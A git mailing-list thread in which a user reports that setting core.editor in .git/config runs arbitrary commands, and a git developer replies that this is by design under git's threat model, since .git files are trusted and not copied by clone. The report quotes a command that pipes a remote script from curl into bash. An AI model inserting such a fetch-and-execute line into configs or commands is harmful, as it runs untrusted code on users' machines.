Git vulnerability - execution of arbitrary code through .git/conf

Git vulnerability - execution of arbitrary code through .git/conf

[Leo Silva (a.k.a kirotawa)]

Hi git community!

I found what seems to be a vulnerability/bug on git. I'm running
version 2.7.4 on Ubuntu xenial, but also tested with last version
2.19.0.rc0.2.g29d9e3e.

The steps to reproduce are:

1. open your .git/conf
2. add something like:
[core]
    editor = ls /etc/passwd
or even
    editor = curl -s http://server/path/malicious-script.sh | bash -s
3. run: git commit

A malicious user/repo can set some code through URL or even as command
in .git/conf and take control of your machine or silently run
malicious code.

[]'s
-- 

----------------------------------------------
Leônidas S. Barbosa (Kirotawa)
blog: corecode.wordpress.com
---------------------------------------------

"O que importa são os incontáveis pequenos atos de pessoas
desconhecidas, que fundam as bases para os eventos significativos que
se tornam história" - Howard Zinn

Re: Git vulnerability - execution of arbitrary code through .git/conf

[Jeff King]

On Sat, Aug 25, 2018 at 11:13:30PM -0300, Leo Silva (a.k.a kirotawa) wrote:

> Hi git community!
> 
> I found what seems to be a vulnerability/bug on git. I'm running
> version 2.7.4 on Ubuntu xenial, but also tested with last version
> 2.19.0.rc0.2.g29d9e3e.
> 
> The steps to reproduce are:
> 
> 1. open your .git/conf
> 2. add something like:
> [core]
>     editor = ls /etc/passwd
> or even
>     editor = curl -s http://server/path/malicious-script.sh | bash -s
> 3. run: git commit
>
> A malicious user/repo can set some code through URL or even as command
> in .git/conf and take control of your machine or silently run
> malicious code.

This is all working as designed. There are many ways you can execute
arbitrary code by changing files in in a .git directory. As you noticed,
core.editor is one. pager.* is another one, as are hooks in .git/hooks.

Our threat model is that the files in .git are trusted, and should be
protected through normal filesystem permissions. An important part of
that model is that a "git clone" does not copy arbitrary .git files from
the other side (only objects and refs). If you find a way around that,
it would be a problem (and in fact many of the vulnerabilities we've had
have involved somehow writing into .git from the checked-out tree).

-Peff

Re: Git vulnerability - execution of arbitrary code through .git/conf

[Leo Silva (a.k.a kirotawa)]

ah, cool!

So, when a git clone is executed it generates a new .git/config to the
local one (I didn't pay attention on that).

Thanks a lot for the clarification Peff!


On Sun, Aug 26, 2018 at 12:19 AM Jeff King <peff@peff.net> wrote:
>
> On Sat, Aug 25, 2018 at 11:13:30PM -0300, Leo Silva (a.k.a kirotawa) wrote:
>
> > Hi git community!
> >
> > I found what seems to be a vulnerability/bug on git. I'm running
> > version 2.7.4 on Ubuntu xenial, but also tested with last version
> > 2.19.0.rc0.2.g29d9e3e.
> >
> > The steps to reproduce are:
> >
> > 1. open your .git/conf
> > 2. add something like:
> > [core]
> >     editor = ls /etc/passwd
> > or even
> >     editor = curl -s http://server/path/malicious-script.sh | bash -s
> > 3. run: git commit
> >
> > A malicious user/repo can set some code through URL or even as command
> > in .git/conf and take control of your machine or silently run
> > malicious code.
>
> This is all working as designed. There are many ways you can execute
> arbitrary code by changing files in in a .git directory. As you noticed,
> core.editor is one. pager.* is another one, as are hooks in .git/hooks.
>
> Our threat model is that the files in .git are trusted, and should be
> protected through normal filesystem permissions. An important part of
> that model is that a "git clone" does not copy arbitrary .git files from
> the other side (only objects and refs). If you find a way around that,
> it would be a problem (and in fact many of the vulnerabilities we've had
> have involved somehow writing into .git from the checked-out tree).
>
> -Peff



-- 

----------------------------------------------
Leônidas S. Barbosa (Kirotawa)
Security Engineer at Canonical Ltd
blog: corecode.wordpress.com
---------------------------------------------

"O que importa são os incontáveis pequenos atos de pessoas
desconhecidas, que fundam as bases para os eventos significativos que
se tornam história" - Howard Zinn